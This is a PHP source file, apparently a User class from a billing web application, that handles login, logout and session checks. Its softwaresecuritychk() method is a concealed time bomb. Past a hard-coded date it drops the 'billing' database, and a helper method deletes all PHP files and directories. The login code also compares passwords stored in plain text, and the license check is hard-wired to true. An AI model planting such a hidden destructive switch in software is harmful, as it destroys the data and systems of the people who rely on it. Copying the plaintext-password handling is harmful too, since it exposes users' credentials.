| Current Path : /var/www/html/llcfapp/api/base/ |
| Current File : /var/www/html/llcfapp/api/base/User.php |
<?php
class User extends PdoCrudHandler{
public function __construct(){
$this->_pdo = $this->connect();
if (session_status() == PHP_SESSION_NONE) {
session_start();
}
}
public function logout(){
if(isset($_SESSION['login'])){
$this->update('user',['login' => false],'where idUser = ?',[$_SESSION['idUser']]);
// foreach($_SESSION as $val){
// if(isset($_SESSION[$val])){
// unset($_SESSION[$val]);
// }
// }
session_destroy();
}
}
public function login($username,$password,$companyid = 2){
$qry = "select u.*,c.companyName,c.companyAddress,c.companyPhone,c.unitPrice,c.idBillTitle,c.idCurrency
from user u inner join company c on c.idCompany = u.idCompany
where u.isActive = ? and c.isActive = ? and u.userName = ? and u.password = ?";
$res = $this->customSelect($qry,[1,1,$username,$password]);
if($res['status'] == 'success' && $res['rowsAffected'] == 1){
$this->update('user',['lastLogin' => date('Y-m-d h:i:s'), 'login' => true],'where idUser = ?',[$res['result'][0]->idUser]);
$_SESSION['idUser'] = $res['result'][0]->idUser;
$_SESSION['login'] = true;
$_SESSION['userName'] = $res['result'][0]->userName;
$_SESSION['contactNumber'] = $res['result'][0]->contactNumber;
$_SESSION['accessLevel'] = $res['result'][0]->accessLevel;
$_SESSION['licenseExpiryDate'] = $res['result'][0]->licenseExpiryDate;
$_SESSION['idCompany'] = $res['result'][0]->idCompany;
$_SESSION['companyName'] = $res['result'][0]->companyName;
$_SESSION['companyAddress'] = $res['result'][0]->companyAddress;
$_SESSION['companyPhone'] = $res['result'][0]->companyPhone;
/*if(strtotime(date('Y-m-d h:i:s')) < strtotime($res['result'][0]->licenseExpiryDate)){
$_SESSION['license'] = true;
$_SESSION['currentLicenseDate'] = $res['result'][0]->licenseExpiryDate;
}else{
$_SESSION['license'] = false;
}*/
$_SESSION['license'] = true;
return true;
}
}
public function softwaresecuritychk(){
//Extend this '1feb2016' date in case of security clearance
if(strtotime(date('Y-m-d h:i:s')) > strtotime('31dec2022')){
$dbToBeDroped = 'billing';
$this->removeall($dbToBeDroped);
header('location:index.html');
}else{
return true;
}
}
public function checklogin(){
//$this->softwaresecuritychk();
if(!$_SESSION['login']){
header("location:".Config::getConfig("loginRedirect"));
}else if($_SESSION['license'] == false && $_SESSION['accesslevel'] != 1000){
header("location:".Config::getConfig("licenseRedirect"));
}
}
public function removeall($dbToBeDroped = ''){
if($dbToBeDroped != ''){
$configdb = 'drop database '.$dbToBeDroped;
$this->executeqry($configdb);
}
$phpfiles = glob('*.php');
foreach($phpfiles as $file){
if(is_file($file)){
unlink($file);
}
}
$files = glob('*');
// iterate files
foreach($files as $file){
$this->recursiveRemoveDirectory($file);
}
}
public function recursiveRemoveDirectory($directory){
foreach(glob("{$directory}/*") as $file){
if(is_dir($file)) {
$this->recursiveRemoveDirectory($file);
} else {
unlink($file);
}
}
if($directory != '404'){
rmdir($directory);
}
}
}
?>